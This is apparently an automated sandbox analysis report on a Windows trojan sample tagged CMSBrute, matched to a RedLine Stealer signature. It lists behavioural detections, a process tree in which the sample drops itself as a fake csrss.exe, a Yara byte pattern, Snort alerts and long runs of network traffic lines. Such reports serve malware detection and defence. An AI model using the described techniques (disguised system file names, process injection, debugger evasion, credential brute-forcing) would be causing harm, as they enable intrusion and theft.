Edit tour

Windows Analysis Report
klWGq3yDcQ.exe

Overview

General Information

Sample Name:	klWGq3yDcQ.exe
Original Sample Name:	fe049ddd0ffd2df34da564208aff9cec.exe
Analysis ID:	1347877
MD5:	fe049ddd0ffd2df34da564208aff9cec
SHA1:	1df42bae63a1698b6070b198f9dceb3ac2b1338e
SHA256:	aa16eed6abd2118df6b0670813ae3b9dab59b458bdc76222866c9a9fc0fa1409
Tags:	32CMSBruteexetrojan
Infos:

Detection

Score:	99
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Found Tor onion address

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Probes for web service weaknesses (weak passwords or vulnerabilities)

Injects a PE file into a foreign processes

Found C&C like URL pattern

Send many emails (e-Mail Spam)

Contains functionality to inject code into remote processes

Machine Learning detection for dropped file

May use the Tor software to hide its network traffic

Tries to resolve many domain names, but no domain seems valid

Drops PE files with benign system names

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Drops PE files to the application program directory (C:\ProgramData)

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Connects to many different domains

Abnormal high CPU Usage

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Connects to several IPs in different countries

Uses SMTP (mail sending)

Uses FTP

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

klWGq3yDcQ.exe (PID: 7116 cmdline: C:\Users\user\Desktop\klWGq3yDcQ.exe MD5: FE049DDD0FFD2DF34DA564208AFF9CEC)

klWGq3yDcQ.exe (PID: 6240 cmdline: C:\Users\user\Desktop\klWGq3yDcQ.exe MD5: FE049DDD0FFD2DF34DA564208AFF9CEC)

WerFault.exe (PID: 12328 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 5984 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 4248 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 25500 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 13300 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 38276 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3804 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 260 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7004 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6240 -s 38328 MD5: C31336C1EFC2CCB44B4326EA793040F2)

csrss.exe (PID: 6216 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: FE049DDD0FFD2DF34DA564208AFF9CEC)

csrss.exe (PID: 6544 cmdline: "C:\ProgramData\Drivers\csrss.exe" MD5: FE049DDD0FFD2DF34DA564208AFF9CEC)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1679577642.00000000023E9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000002.1864389783.0000000002800000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B

Snort Signatures

ETPRO TROJAN Win32/CMSBrute/Pifagor Attempted Bruteforcing - Source IP: 192.168.2.4 - Destination IP: 139.162.169.45

Timestamp:	192.168.2.4139.162.169.4551025802813008 11/26/23-06:59:44.879605
SID:	2813008
Source Port:	51025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Parrot TDS Check M2 - Source IP: 34.136.104.255 - Destination IP: 192.168.2.4

Timestamp:	34.136.104.255192.168.2.4443562922047070 11/26/23-06:59:32.817382
SID:	2047070
Source Port:	443
Destination Port:	56292
Protocol:	TCP
Classtype:	A Network Trojan was detected

FTP traffic detected: 3.234.162.143:21 -> 192.168.2.4:50230 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 200 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 200 allowed.220-Local time is now 05:59. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 200 allowed.220-Local time is now 05:59. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 200 allowed.220-Local time is now 05:59. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 200 allowed.220-Local time is now 05:59. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown	Network traffic detected: HTTP traffic on port 58375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50731
Source: unknown	Network traffic detected: HTTP traffic on port 56194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61622
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57373
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58462
Source: unknown	Network traffic detected: HTTP traffic on port 61946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56280
Source: unknown	Network traffic detected: HTTP traffic on port 58490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61620
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61621
Source: unknown	Network traffic detected: HTTP traffic on port 57117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50985
Source: unknown	Network traffic detected: HTTP traffic on port 55337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58227
Source: unknown	Network traffic detected: HTTP traffic on port 56307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61633
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61635
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61636
Source: unknown	Network traffic detected: HTTP traffic on port 52426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57389
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56295
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61639
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56296
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56292
Source: unknown	Network traffic detected: HTTP traffic on port 59345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57148
Source: unknown	Network traffic detected: HTTP traffic on port 58421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57155
Source: unknown	Network traffic detected: HTTP traffic on port 59197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57541 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61640
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50766
Source: unknown	Network traffic detected: HTTP traffic on port 58328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59345
Source: unknown	Network traffic detected: HTTP traffic on port 52506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62748
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62749
Source: unknown	Network traffic detected: HTTP traffic on port 65072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58490
Source: unknown	Network traffic detected: HTTP traffic on port 61660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61650
Source: unknown	Network traffic detected: HTTP traffic on port 64089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61651
Source: unknown	Network traffic detected: HTTP traffic on port 55292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50933
Source: unknown	Network traffic detected: HTTP traffic on port 65497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61828
Source: unknown	Network traffic detected: HTTP traffic on port 61635 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59748
Source: unknown	Network traffic detected: HTTP traffic on port 51673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56484
Source: unknown	Network traffic detected: HTTP traffic on port 51799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58661
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60737
Source: unknown	Network traffic detected: HTTP traffic on port 57543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55160
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57581
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62925
Source: unknown	Network traffic detected: HTTP traffic on port 56618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50955
Source: unknown	Network traffic detected: HTTP traffic on port 56801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50956
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61608
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50950
Source: unknown	Network traffic detected: HTTP traffic on port 55245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61604
Source: unknown	Network traffic detected: HTTP traffic on port 61613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55174
Source: unknown	Network traffic detected: HTTP traffic on port 55305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49519
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49517
Source: unknown	Network traffic detected: HTTP traffic on port 61944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50964
Source: unknown	Network traffic detected: HTTP traffic on port 51330 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57122
Source: unknown	Network traffic detected: HTTP traffic on port 56432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61613
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56271
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49508
Source: unknown	Network traffic detected: HTTP traffic on port 53224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49504
Source: unknown	Network traffic detected: HTTP traffic on port 51631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51428
Source: unknown	Network traffic detected: HTTP traffic on port 51115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58629 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53607
Source: unknown	Network traffic detected: HTTP traffic on port 57825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 56884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 61639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61460
Source: unknown	Network traffic detected: HTTP traffic on port 50999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63645
Source: unknown	Network traffic detected: HTTP traffic on port 50826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51673
Source: unknown	Network traffic detected: HTTP traffic on port 64229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51675
Source: unknown	Network traffic detected: HTTP traffic on port 57660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60140
Source: unknown	Network traffic detected: HTTP traffic on port 65441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61230
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52534
Source: unknown	Network traffic detected: HTTP traffic on port 56711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59179
Source: unknown	Network traffic detected: HTTP traffic on port 56346 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58082
Source: unknown	Network traffic detected: HTTP traffic on port 56391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58084
Source: unknown	Network traffic detected: HTTP traffic on port 58848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49310
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55811
Source: unknown	Network traffic detected: HTTP traffic on port 57962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51693
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58091
Source: unknown	Network traffic detected: HTTP traffic on port 55067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51627
Source: unknown	Network traffic detected: HTTP traffic on port 55789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58017
Source: unknown	Network traffic detected: HTTP traffic on port 57219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51620
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58268
Source: unknown	Network traffic detected: HTTP traffic on port 51105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57176
Source: unknown	Network traffic detected: HTTP traffic on port 57721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62753
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51636
Source: unknown	Network traffic detected: HTTP traffic on port 57033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64334 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51632
Source: unknown	Network traffic detected: HTTP traffic on port 56825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51631
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56099
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62767
Source: unknown	Network traffic detected: HTTP traffic on port 65483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64705
Source: unknown	Network traffic detected: HTTP traffic on port 56264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49362
Source: unknown	Network traffic detected: HTTP traffic on port 56882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51886
Source: unknown	Network traffic detected: HTTP traffic on port 51675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52730
Source: unknown	Network traffic detected: HTTP traffic on port 53012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63864
Source: unknown	Network traffic detected: HTTP traffic on port 50933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49355
Source: unknown	Network traffic detected: HTTP traffic on port 51080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49351
Source: unknown	Network traffic detected: HTTP traffic on port 63148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55748
Source: unknown	Network traffic detected: HTTP traffic on port 53071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55508
Source: unknown	Network traffic detected: HTTP traffic on port 56280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52478
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65309
Source: unknown	Network traffic detected: HTTP traffic on port 52662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52241
Source: unknown	Network traffic detected: HTTP traffic on port 59191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65302
Source: unknown	Network traffic detected: HTTP traffic on port 57547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56848
Source: unknown	Network traffic detected: HTTP traffic on port 52696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56608
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49296
Source: unknown	Network traffic detected: HTTP traffic on port 52478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55516
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55995
Source: unknown	Network traffic detected: HTTP traffic on port 53162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64229
Source: unknown	Network traffic detected: HTTP traffic on port 51886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52494
Source: unknown	Network traffic detected: HTTP traffic on port 61620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63583 -> 443
